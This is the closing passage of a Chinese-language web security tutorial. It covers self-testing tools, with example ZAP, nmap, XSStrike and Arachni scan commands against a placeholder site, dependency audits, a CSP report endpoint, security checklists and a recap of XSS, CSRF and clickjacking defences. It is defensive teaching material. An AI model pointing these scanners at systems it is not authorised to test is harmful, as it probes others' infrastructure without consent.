docker run -t owasp/zap2docker-stable zap-baseline.py -t https://yoursite.example.com
# Nmap(端口扫描)
nmap -sV -p 443 yoursite.example.com
# SSL Labs(HTTPS 配置检测)
# 访问:https://www.ssllabs.com/ssltest/
# Security Headers(HTTP 头检测)
# 访问:https://securityheaders.com/
2. 依赖安全检查
# npm audit(检查依赖漏洞)
npm audit
# 自动修复
npm audit fix
# Snyk(更全面的漏洞检测)
npx snyk test
# npm outdated(检查过期依赖)
npm outdated
3. CSP 验证工具
// CSP Evaluator(Chrome 扩展)
// https://chrome.google.com/webstore/detail/csp-evaluator/djloihgicaebbkmfjlhgdeklbhbaecfn
// 报告模式收集违规
app.post('/csp-report', (req, res) => {
console.log('CSP 违规:', JSON.stringify(req.body, null, 2));
res.status(204).send();
});
4. XSS 检测工具
# XSStrike(XSS 漏洞扫描)
python xsstrike.py -u "https://yoursite.example.com/search?query=test"
# Arachni(Web 漏洞扫描)
arachni https://yoursite.example.com
八、安全最佳实践清单
前端安全清单
| 类别 | 检查项 | 优先级 |
|---|---|---|
| XSS 防护 | 使用 DOMPurify 过滤用户输入 | 高 |
| 使用 textContent 而非 innerHTML | 高 | |
| 配置 CSP 策略 | 高 | |
| 对 URL 参数进行编码 | 中 | |
| CSRF 防护 | 使用 CSRF Token | 高 |
| 配置 SameSite Cookie | 高 | |
| 验证 Origin/Referer 头 | 中 | |
| 点击劫持 | 设置 X-Frame-Options 头 | 高 |
| 使用 CSP frame-ancestors | 高 | |
| 检测 iframe 嵌套 | 中 | |
| 数据验证 | 验证用户输入格式 | 高 |
| 限制输入长度 | 中 | |
| 过滤特殊字符 | 高 | |
| Cookie 安全 | 设置 HttpOnly 属性 | 高 |
| 设置 Secure 属性 | 高 | |
| 设置 SameSite 属性 | 高 |
后端安全清单
| 类别 | 检查项 | 优先级 |
|---|---|---|
| 传输安全 | 强制使用 HTTPS | 高 |
| 配置 HSTS | 高 | |
| 禁用 SSL/TLS 弱版本 | 高 | |
| 认证安全 | 使用强密码哈希(bcrypt) | 高 |
| 实施密码强度策略 | 中 | |
| 启用多因素认证 | 中 | |
| 登录失败限制 | 高 | |
| 会话安全 | 使用安全的 Session ID | 高 |
| 设置会话过期时间 | 高 | |
| 登出时销毁会话 | 高 | |
| API 安全 | 验证请求来源 | 高 |
| 限制请求频率 | 高 | |
| 验证请求参数 | 高 | |
| 错误处理 | 不暴露敏感错误信息 | 高 |
| 记录安全事件日志 | 中 |
九、总结
核心要点回顾
-
XSS 攻击:
- 反射型:通过 URL 参数注入
- 存储型:存储在数据库中
- DOM 型:在客户端 DOM 中执行
- 防御:输入过滤 + 输出编码 + CSP + DOMPurify
-
CSRF 攻击:
- 原理:利用浏览器自动携带 Cookie
- 防御:CSRF Token + SameSite Cookie + 验证 Origin
-
点击劫持:
- 原理:透明 iframe 视觉欺骗
- 防御:X-Frame-Options + CSP frame-ancestors
-
中间人攻击:
- 原理:窃听或篡改通信内容
- 防御:HTTPS + HSTS + 证书校验
-
防御技术:
- CSP:内容安全策略,限制资源加载
- SameSite:Cookie 属性,防止跨站请求
- DOMPurify:HTML 净化器,过滤 XSS
- CORS:跨域资源共享配置
安全开发原则
- 永远不信任用户输入:所有输入都需要验证和净化
- 最小权限原则:只授予必要的权限
- 纵深防御:多层防御,不依赖单一措施
- 安全默认:默认配置应该是安全的
- 保持更新:及时更新依赖,修复已知漏洞
进一步学习
如果觉得本文有帮助,欢迎点赞收藏,有问题欢迎在评论区讨论!